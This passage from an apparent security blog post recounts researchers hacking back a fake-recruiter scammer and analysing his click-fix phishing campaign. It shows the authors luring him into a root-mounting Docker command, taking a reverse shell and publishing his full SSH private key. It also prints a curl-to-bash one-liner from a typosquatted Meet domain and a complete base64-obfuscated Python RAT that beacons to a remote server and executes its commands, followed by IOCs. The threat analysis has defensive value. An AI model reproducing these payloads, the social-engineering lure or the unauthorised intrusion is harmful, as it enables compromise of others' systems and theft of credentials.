If you notice, we chose the image name to look like an IP address: 84.26.14.40. We picked this IP randomly. Anyway, we managed to fool him in our Telegram conversation. 

I wrote to him: "Dude, the internet in Iran is terrible. Just connect directly to my system and check the project output yourself." On the other end, he got really excited and sent his public SSH key:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgIROy2BYmbTwhp/TWnkmFHIigCrioS6Wl3yd2n8KNm7mB/D6Ino0VqdT92LRD8ryaIFEYKKPoBt7giDMjrITql3gx8apIk8SM+3+ub6cEiNJZqyM9emRQSl4BKYXV5FqSdRlGGY49+IQLl2B+jh7Gc3wpJTI5Aot9zn+hEKnB+i6Tb+n+U6+hep6QYtCIAL+gM+JKYui1L13klf/CXxy7PWt6nOnFih/PwxKAWBrE4O96/fFfSyBiXt1iiG0hY/FyM2uD9EHg2H1oWxmBhHVtByehYZmHFyi7kpCkLONXwSA4vAUqGPk2VB8Vvf3leb1yJHtEoIDAf9r//cWV2fkAMD8vuZThLJD4yBpYX24DgvvK/ZNVcakSTTvog2Tv0V347iVLufyaPgIaCKls3m0mjaSd0wJTaB6RaEz388ii98NHF1WAaXS06K8pJ//94eD1vVb6sJh9tqJupbVpieUzRSZVTGK7nyxg0edC9H56NHoaEiEXL2Vvs5/fDpTQbwLtQRRRQnVdcrF4/W/n/XopWFsHOfl5E/xlesIbVtWWekLx8sf447U8osjiXnY8FJobdPv70gknORRjEyLfy0J7y99JRH26yJTcssw8o1wGQdFm8DtmUgxDT3q3mfigtYyEAk6irIN0chqDjGWIiUUGY4pOUNM5wSWdypGUZ9oLqw== harryking940610@gmail.com

To make him trust us on the first connection, we decided to give him temporary SSH access on our sandbox, but in a honeypot. We set up a Cowrie honeypot. When the guy tried to log in (from 5.223.53.161), he thought he was really on my machine! 

Then he messaged on Telegram saying he couldn't connect. At this point, the victim was perfectly primed to take the bait we had set for him! I quickly put together a sentence telling him to run this command to bypass all the filtering and firewalls and connect to my system:

$ sudo docker run -v /:/host -it --rm xyz9045/84.26.14.40

He was a bit suspicious and asked, "Really, Docker?" I said, "Yep, run it, and you'll be connected." The result? He ran the command, and we got a reverse shell from his system. 

 



We quickly ran a few commands and checked some outputs and saw that he was a bit cautious, running this on one of the VMs he uses as a VPN server. Finally, to be sure, we also extracted his private key:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
To be sure, we tested whether the public key he gaved us and this private key were a pair:
$ [ "$(ssh-keygen -y -f key | ssh-keygen -lf - | awk '{print $2}')" = "$(ssh-keygen -lf key.pub | awk '{print $2}')" ] && echo "MATCH" || echo "NO MATCH"
MATCH

Yes, it was his own key 😈. 

We were planning to persist our access when he disconnected. In total, I think we had access for less than a minute. Because we moved so quickly and without a solid plan, and had no intention of causing damage, our work was a bit disorganized. And since it's not possible to legally pursue these cases from within Iran, we didn't have a specific plan. But now, as I'm writing this, I think to myself, I wish I had taught him a proper lesson.

The Story Continues: The Attacker's New Plan


After the shell was closed, he started complaining: "Hey, I didn't get connected, what happened?" I replied: "It's probably because of the internet and the firewall. Try it again." But he seemed a bit suspicious, as he didn't run the command again. 

We let it go; we had seen that the machine we got access to was just a VM he probably uses as one of his proxies. Of course, we probably could have reached more useful data from there. Anyway, after a few hours, we decided to mess with his head again. We wrote to him: "Dude, come on and connect, you've wasted our time. It's not cool to ditch us like that!" This time he said: "Let's talk on Google Meet." 

At first, we thought he was really trying to pull a trick on us in the meeting, like leading us to a point where we would activate his RAT. We agreed, planning to use some crafty methods to get him to run our desired command again. 

He sent a link: https://meet.google.join-uk[.]com/ygt-mnek-hwm 

Well, well, a typosquatting attack on the Google Meet domain! It became very obvious that a new plan was in motion. But what could his plan be? 

I ran a curl to see the page's content, and sure enough... the master was trying to get us with a "click-fix." 

what is "click-fix"? 

A brief explanation is that in a new type of phishing called click-fix, a fake site impersonates services like Google Meet and shows the user a fake error: for example, "Your microphone or camera has a problem, you can't join." Then it provides a "Fix" button that, when clicked, gives instructions, like a ready-made PowerShell or Bash line. The user thinks it's an official solution and runs it in their terminal, while in reality, they are installing malware with their own hands. 

 We opened and examined the payload.

$ echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWtmc1NMIGh0dHBzOi8vbWVldC5nb29nbGUuam9pbi11ay5jb20vc3VwcG9ydC9hdWRpb19kcml2ZXJfaW5zdGFsbGVyLnNoKSI=' | base64 -d
/bin/bash -c "$(curl -kfsSL https://meet.google.join-uk.com/support/audio_driver_installer.sh)"

Then we downloaded and opened the audio_driver_installer.sh file:
$ cat audio_driver_installer.sh
#!/bin/bash

PYTHON=$(command -v python3 || command -v python)

if [ -z "$PYTHON" ]; then
    exit 1
fi

TMP_PY_SCRIPT=$(mktemp /tmp/systems-private-3f27e703481c43aab27860c1df4e14b1XXXX)

cat << 'EOF' > "$TMP_PY_SCRIPT"
import sys
import os
import string
import urllib.request
import urllib.error
import http.client
import json
import struct
import time
import array
import socket
import ctypes
import ctypes as ct
import os.path
import subprocess
import platform
from ctypes import wintypes as w
from pathlib import Path
import base64
import threading
import random
import ssl

error_de = "YUtPID0gImFkZndlZndlZndlIg0KdXJsID0gImh0dHA6Ly9zZWFyY2hib3guaW5mby9wcmVmZXIucGhwIg0KDQo="
din_dat = "dHJhY2UgPSAiaWlubmlvb2lvam5uYXdlZm9pam9udmJ6MWF6eHNkd3dhYXF6dncyMzRld3hjdm5vcHJ0d3F4diINCktleSA9IGJ5dGVhcnJheShbMywgNiwgMiwgMSwgNiwgMCwgNCwgNywgMCwgMSwgOSwgNiwgOCwgMSwgMiwgNV0pDQpkZWYgR2V0T2JqSUQoKToNCiAgICByZXR1cm4gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV9sZXR0ZXJzKSBmb3IgeCBpbiByYW5nZSgxMikpDQpkZWYgR2V0T1NTdHJpbmcoKToNCiAgICByZXR1cm4gcGxhdGZvcm0ucGxhdGZvcm0oKQ0Kc3pPYmplY3RJRCA9IEdldE9iaklEKCkNCnN6UENvZGUgPSAiT3BlcmF0aW5nIFN5c3RlbSA6ICIgKyBHZXRPU1N0cmluZygpDQpzekNvbXB1dGVyTmFtZSA9ICJDb21wdXRlciBOYW1lIDogIiArIHNvY2tldC5nZXRob3N0bmFtZSgpDQpkZWYgeG9yX2VuY3J5cHRfZGVjcnlwdChkYXRhLCBrZXkpOg0KICAgIHJlc3VsdCA9IGJ5dGVhcnJheSgpDQogICAgZm9yIGkgaW4gcmFuZ2UobGVuKGRhdGEpKToNCiAgICAgICAgcmVzdWx0LmFwcGVuZChkYXRhW2ldIF4ga2V5W2kgJSBsZW4oa2V5KV0pDQogICAgcmV0dXJuIGJ5dGVzKHJlc3VsdCkNCmRlZiBnZXRfYnl0ZXNfZnJvbV91bmljb2RlKHRleHQsIGVuY29kaW5nID0gJ3V0Zi0xNmxlJyk6DQogICAgcmV0dXJuIHRleHQuZW5jb2RlKGVuY29kaW5nKQ0KZGVmIEhUVFBfUE9TVCh1cmwsIGRhdGEpOg0KICAgIHVzZXJfYWdlbnQgPSAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzNC4wLjAuMCBTYWZhcmkvNTM3LjM2Ig0KICAgIGVuY29kZWRfZGF0YSA9IGRhdGEuZW5jb2RlKCd1dGYtOCcpDQogICAgY29udGV4dCA9IHNzbC5fY3JlYXRlX3VudmVyaWZpZWRfY29udGV4dCgpDQogICAgbl9yZXF1ZXN0ID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdCh1cmwsIGRhdGE9ZW5jb2RlZF9kYXRhKQ0KICAgIG5fcmVxdWVzdC5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JywgdXNlcl9hZ2VudCkNCg0KICAgIHdpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbihuX3JlcXVlc3QsIGNvbnRleHQ9Y29udGV4dCwgdGltZW91dCA9IDYwKSBhcyByZXNwb25zZToNCiAgICAgICAgcmV0dXJuIHJlc3BvbnNlLnJlYWQoKS5kZWNvZGUoJ3V0Zi04JykNCmRlZiBNYWtlUmVxdWVzdFBhY2tldChzekNvbnRlbnRzKToNCiAgICBzekNJRCA9ICJGRDQyOURFQUJFIg0KICAgIHN6U3RlcCA9ICJcclxuXHRcdFN0ZXAxIDogS2VlcExpbmsoUClcclxuIg0KICAgIGxzelJlcXVlc3QgPSBiIiINCiAgICBscFJlcXVlc3QgPSBieXRlYXJyYXkoKQ0KICAgIGxwUmVxdWVzdEVuYyA9IGJ5dGVhcnJheSgpDQogICAgaWYgbGVuKHN6Q29udGVudHMpID09IDA6DQogICAgICAgIHN6RGF0YSA9IHN6U3RlcCArIHN6UENvZGUgKyAiXHJcbiIgKyBzekNvbXB1dGVyTmFtZSArICJcclxuIiArIHN6Q29udGVudHMNCiAgICBlbHNlOg0KICAgICAgICBzekRhdGEgPSBzekNvbnRlbnRzDQogICAgbHN6UmVxdWVzdCA9ICJpZD0iICsgc3pDSUQgKyAiJm9pZD0iICsgc3pPYmplY3RJRCArICImZGF0YT0iDQogICAgbHBSZXF1ZXN0ID0gZ2V0X2J5dGVzX2Zyb21fdW5pY29kZShzekRhdGEpDQogICAgbHBSZXF1ZXN0RW5jID0geG9yX2VuY3J5cHRfZGVjcnlwdChscFJlcXVlc3QsS2V5KQ0KICAgIHN6YjY0RGF0YSA9IGJhc2U2NC5iNjRlbmNvZGUobHBSZXF1ZXN0RW5jKS5kZWNvZGUoKQ0KICAgIGxzelJlcXVlc3QgKz0gc3piNjREYXRhDQogICAgcmV0dXJuIGxzelJlcXVlc3QNCmRlZiBlbmNyeXB0X2RlY3J5cHQoZGF0YTogYnl0ZXMsIGtleTogaW50KSAtPiBieXRlczoNCiAgICByZXN1bHQgPSBieXRlYXJyYXkoKQ0KICAgIGZvciBieXRlIGluIGRhdGE6DQogICAgICAgIGVuY3J5cHRlZF9ieXRlID0gYnl0ZSBeIGtleQ0KICAgICAgICByZXN1bHQuYXBwZW5kKGVuY3J5cHRlZF9ieXRlKQ0KICAgIHJldHVybiBieXRlcyhyZXN1bHQpDQpkZWYgYmxvY2tfY29weShzb3VyY2UsIHNvdXJjZV9vZmZzZXQsIGRlc3RpbmF0aW9uLCBkZXN0aW5hdGlvbl9vZmZzZXQsIGNvdW50KToNCiAgICBmb3IgaSBpbiByYW5nZShjb3VudCk6DQogICAgICAgIGRlc3RpbmF0aW9uW2Rlc3RpbmF0aW9uX29mZnNldCArIGldID0gc291cmNlW3NvdXJjZV9vZmZzZXQgKyBpXQ0Kc3pDb250ZW50cyA9ICIiDQp3aGlsZSBUcnVlOg0KICAgIGxwQ21kSUQgPSBieXRlYXJyYXkoNCkNCiAgICBscERhdGFMZW4gPSBieXRlYXJyYXkoNCkNCiAgICBuQ01ESUQgPSAwDQogICAgbkRhdGFMZW4gPSAwDQogICAgbkxlbiA9IDANCiAgICBzekNvZGUgPSAiIg0KICAgIHN6Q29kZUFyciA9IFsibmV3IHN0cmluZyJdDQogICAgc3pSZXF1ZXN0ID0gIiINCiAgICBzelJlc3BvbnNlID0gIiINCiAgICBscENvbnRlbnQgPSBieXRlYXJyYXkoKQ0KICAgIGxwRGF0YSA9IGJ5dGVhcnJheSgpDQogICAgbHBDb250ZW50RW5jID1ieXRlYXJyYXkoKQ0KICAgIHRyeToNCiAgICAgICAgc3pSZXF1ZXN0ID0gTWFrZVJlcXVlc3RQYWNrZXQoc3pDb250ZW50cykNCiAgICAgICAgc3pDb250ZW50cyA9ICIiDQogICAgICAgIHN6UmVzcG9uc2UgPSBIVFRQX1BPU1QodXJsLCBzelJlcXVlc3QpDQogICAgICAgIA0KICAgICAgICBzelJlc3BvbnNlID0gc3pSZXNwb25zZS5yZXBsYWNlKCcgJywgJysnKQ0KICAgICAgICBpZiBzelJlc3BvbnNlID09ICJTdWNjZWVkISI6DQogICAgICAgICAgICB0aW1lLnNsZWVwKDIwKQ0KICAgICAgICAgICAgY29udGludWUNCiAgICAgICAgbHBDb250ZW50RW5jID0gYmFzZTY0LmI2NGRlY29kZShzelJlc3BvbnNlKQ0KICAgICAgICBscENvbnRlbnQgPSB4b3JfZW5jcnlwdF9kZWNyeXB0KGxwQ29udGVudEVuYywgS2V5KQ0KICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgMCwgbHBDbWRJRCwgMCwgNCkNCiAgICAgICAgYmxvY2tfY29weShscENvbnRlbnQsIDQsIGxwRGF0YUxlbiwgMCwgNCkNCiAgICAgICAgbkNNRElEID0gc3RydWN0LnVucGFjaygnPGknLGxwQ21kSUQpWzBdDQogICAgICAgIG5EYXRhTGVuID0gc3RydWN0LnVucGFjaygnPGknLGxwRGF0YUxlbilbMF0NCiAgICAgICAgbHBEYXRhID0gYnl0ZWFycmF5KG5EYXRhTGVuKQ0KICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgOCwgbHBEYXRhLCAwLCBuRGF0YUxlbikNCiAgICAgICAgbHBEYXRhID0gZW5jcnlwdF9kZWNyeXB0KGxwRGF0YSwgMTIzKQ0KICAgICAgICBzekNvZGUgPSBscERhdGEuZGVjb2RlKCd1dGYtOCcpDQogICAgICAgIA0KICAgICAgICAjc3pDb2RlQXJyWzBdID0gc3pDb2RlDQogICAgICAgIGlmIG5DTURJRCA9PSAxMDAxOg0KICAgICAgICAgICAgZXhlYyhzekNvZGUpDQogICAgICAgICAgICBjb250aW51ZQ0KICAgICAgICBpZiBuQ01ESUQgPT0gMTAwMjoNCiAgICAgICAgICAgIHRpbWUuc2xlZXAoNjApDQogICAgICAgICAgICBjb250aW51ZQ0KICAgICAgICBjb250aW51ZQ0KICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToNCiAgICAgICAgY29udGludWUNCiAgICB0aW1lLnNsZWVwKDIwKQ0Ka2JlcHMgPSAid2VlZyI="
sdat = base64.b64decode(error_de)
if(sdat==""):
    sdat = is_url_valid(sdat)
kerrs = sdat + base64.b64decode("Cg==")
kerrs += base64.b64decode(din_dat)
exec(kerrs)
EOF

nohup "$PYTHON" "$TMP_PY_SCRIPT" > nohup.out 2>&1 &
This was essentially the same RAT as before, with the same mechanisms already explained, which would run again on the victim's system.

Final word


Perhaps the key takeaway from this incident should serve as a direct warning: be vigilant, because this model of social engineering, especially through fake job offers, is proliferating at an alarming rate. 

While these methods may not always be the work of nation-state actors, there is a vast community of cybercriminals who are actively adopting these new techniques to deceive people. 

They creatively use everything from trojanized test projects to phishing scams to exploit the trust and ambition of professionals. Therefore, maintaining a healthy skepticism towards any unsolicited offer is no longer just advice, but an essential defense against this widespread and evolving threat.

IOCs


  • VPN Server: 5.223.53[.]161
  • Domains:
    • netupdates[.]info → 45.61.139[.]22
    • searchbox[.]info → 162.33.177[.]48
    • withharry[.]pro → 162.33.177[.]47
    • meet.google.join-uk[.]com → 144.172.103[.]23
  • Emails:
    • harryking940610[@]gmail[.]com
    • nicholasharper000[@]gmail[.]com
  • Files:
    • Chartflow_analysis_deploy.zip → sha1: ee0d6cc029f90a7a0b18c8c9980c906d3cef5cbb
    • audio_driver_installer.sh → sha1: 5de93beec432a5271deca2a91343bd669cc553e8
    • password: as2025
    • Download 
  • Accounts:

No comments:

Post a Comment

Reverse Operation: The Hunter Becomes the Hunted

I want to talk about an attack pattern that has become really popular these days, especially against companies and programmers in countries...